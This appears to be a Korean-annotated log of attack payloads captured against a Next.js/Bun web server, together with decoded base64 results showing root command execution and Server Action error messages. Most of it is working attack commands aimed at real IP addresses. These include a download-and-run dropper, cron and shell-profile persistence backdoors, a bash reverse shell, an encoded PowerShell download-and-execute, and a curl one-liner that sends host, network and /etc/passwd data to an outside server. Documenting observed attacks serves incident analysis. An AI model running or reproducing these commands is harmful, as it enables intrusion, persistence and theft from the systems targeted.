# 일반적인 dropper 공격
curl -fsSL http://38.207.161.212/agent -o /tmp/.a && chmod +x /tmp/.a && /tmp/.a

# cron 지속성 백도어 삽입
curl -s -o /etc/cron.hourly/tsd http://43.156.63.124/tsd && chmod +x /etc/cron.hourly/tsd

# 복잡한 지속성 공격 (여러 다운로드 방식 시도 + cron + bashrc)
u='http://38.12.24.231/kworker'; n='kworker';
for d in $HOME/.config/sys_monitor /tmp/.sys_monitor /dev/shm/.sys_monitor /var/tmp/.sys_monitor; do
  mkdir -p $d;
  if [ -w $d ]; then
    p="$d/$n";
    (curl -ks $u -o $p || wget -q --no-check-certificate $u -O $p || python3 -c "import urllib.request;urllib.request.urlretrieve('$u','$p')");
    chmod +x $p;
    nohup $p >/dev/null 2>&1 &
    (crontab -l 2>/dev/null | grep -v $n; echo "* * * * * $p >/dev/null 2>&1") | crontab -;
    echo "$p >/dev/null 2>&1 &" >> ~/.bashrc;
    echo "$p >/dev/null 2>&1 &" >> ~/.zshrc;
  fi;
done

# Bash 리버스 쉘
bash -c "bash -i >& /dev/tcp/154.26.192.32/19899 0>&1"

# Base64로 인코딩된 악성 PowerShell
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADUANgAuADIAMwA0AC4AMgAwADkALgAxADAAMwA6ADYAMwA5ADMAOAAvAG4AcgBDAHIAUQAnACkA

# 디코딩 결과:
# IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209.103:63938/nrCrQ')

# 취약점 확인을 위한 수학 계산
powershell -c "41*271"      # = 11111 (특징 코드 확인)
powershell -c "44225*41002" # = 1814113450

# 시스템 정보 수집 및 외부 전송
curl http://38.60.212.106:8000/?data=`(hostname;ip addr show;id;ip route show;ip neigh show;route -n;cat /etc/passwd;hostname -I) | base64 -w 0`

HOSTNAME=6973aeebae41
BUN_INSTALL_BIN=/usr/local/bin
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin
PWD=/app
TZ=Asia/Taipei
NODE_ENV=production
BUN_RUNTIME_TRANSPILER_CACHE_PATH=0

ping 5a58e4a0.log.dnslog.pp.ua.

# digest: 'cm9vdAo='
디코딩: root

# digest: 'dGVzdAo='
디코딩: test

# digest: 'dnVsbmVyYWJpbGl0eV90ZXN0Cg=='
디코딩: vulnerability_test

# digest: 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCksMShiaW4pLDIoZGFlbW9uKSwzKHN5cyksNChhZG0pLDYoZGlzayksMTAod2hlZWwpLDExKGZsb3BweSksMjAoZGlhbG91dCksMjYodGFwZSksMjcodmlkZW8pCg=='
디코딩: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

# /tmp 디렉터리 내용
dG90YWwgMjAKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMTg6MDAgLgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgNCAxMzozNiAuLgotcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA5ODQ4IERlYyAgNSAxODowMCBJTlNUQUxMCg==

디코딩:
total 20
drwxrwxrwt    1 root     root          4096 Dec  5 18:00 .
drwxr-xr-x    1 root     root          4096 Dec  4 13:36 ..
-rwxr-xr-x    1 root     root          9848 Dec  5 18:00 INSTALL

Failed to find Server Action "dev-only-action"
Failed to find Server Action "non_existent_action_id"
Failed to find Server Action "test"
Failed to find Server Action "x"

Error: x
  digest: 'cm9vdAo='  // 'root'의 Base64 인코딩